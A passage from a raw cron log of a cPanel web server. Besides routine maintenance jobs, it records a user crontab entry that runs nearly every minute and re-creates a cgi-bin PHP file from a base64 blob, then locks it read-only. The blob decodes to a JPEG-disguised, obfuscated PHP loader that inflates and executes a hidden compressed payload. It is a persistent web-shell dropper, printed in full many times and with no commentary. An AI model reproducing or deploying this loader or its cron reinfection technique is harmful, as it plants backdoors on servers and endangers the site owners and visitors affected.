SYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:03:01 server CROND[5644]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:03:01 server CROND[5645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:03:01 server CROND[5646]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:04:01 server CROND[6028]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:04:01 server CROND[6029]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:04:01 server CROND[6030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:05:01 server CROND[6447]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 00:05:01 server CROND[6449]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 00:05:01 server CROND[6451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:05:01 server CROND[6453]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 00:05:01 server CROND[6454]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 00:05:01 server CROND[6452]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 00:05:01 server CROND[6466]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:05:01 server CROND[6464]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:06:01 server CROND[7386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:06:01 server CROND[7387]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:06:01 server CROND[7388]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:07:01 server CROND[7812]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:07:01 server CROND[7813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:07:01 server CROND[7814]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:08:01 server CROND[8271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:08:01 server CROND[8274]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:08:01 server CROND[8272]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:09:01 server CROND[8640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:09:01 server CROND[8641]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 00:09:01 server CROND[8642]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:09:01 server CROND[8643]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:10:01 server CROND[9020]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 00:10:01 server CROND[9023]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 00:10:01 server CROND[9026]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 00:10:01 server CROND[9022]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:10:01 server CROND[9024]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:10:01 server CROND[9028]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:10:01 server CROND[9027]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 00:10:01 server CROND[9025]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 00:11:01 server CROND[9873]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:11:01 server CROND[9874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:11:01 server CROND[9875]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:12:01 server CROND[10250]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:12:01 server CROND[10251]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:12:01 server CROND[10254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:12:01 server CROND[10253]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 00:13:01 server CROND[10740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:13:01 server CROND[10742]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:13:01 server CROND[10741]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:14:01 server CROND[11116]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:14:01 server CROND[11117]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:14:01 server CROND[11118]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:15:01 server CROND[11561]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 00:15:01 server CROND[11563]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
